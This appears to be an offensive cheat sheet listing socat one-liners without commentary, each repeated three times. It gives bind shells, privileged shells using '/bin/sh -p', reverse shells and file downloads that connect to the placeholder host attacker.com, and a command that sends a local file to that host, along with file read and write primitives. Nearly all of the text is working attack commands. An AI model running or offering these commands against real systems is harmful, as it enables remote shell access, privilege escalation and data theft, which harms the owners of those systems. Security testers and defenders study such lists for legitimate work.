socat

socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane

socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

socat -u file:/path/to/input-file -

socat -u file:/path/to/input-file -

socat -u file:/path/to/input-file -

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

socat - exec:/bin/sh,pty,ctty,raw,echo=0

socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'

socat - exec:/bin/sh,pty,ctty,raw,echo=0

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345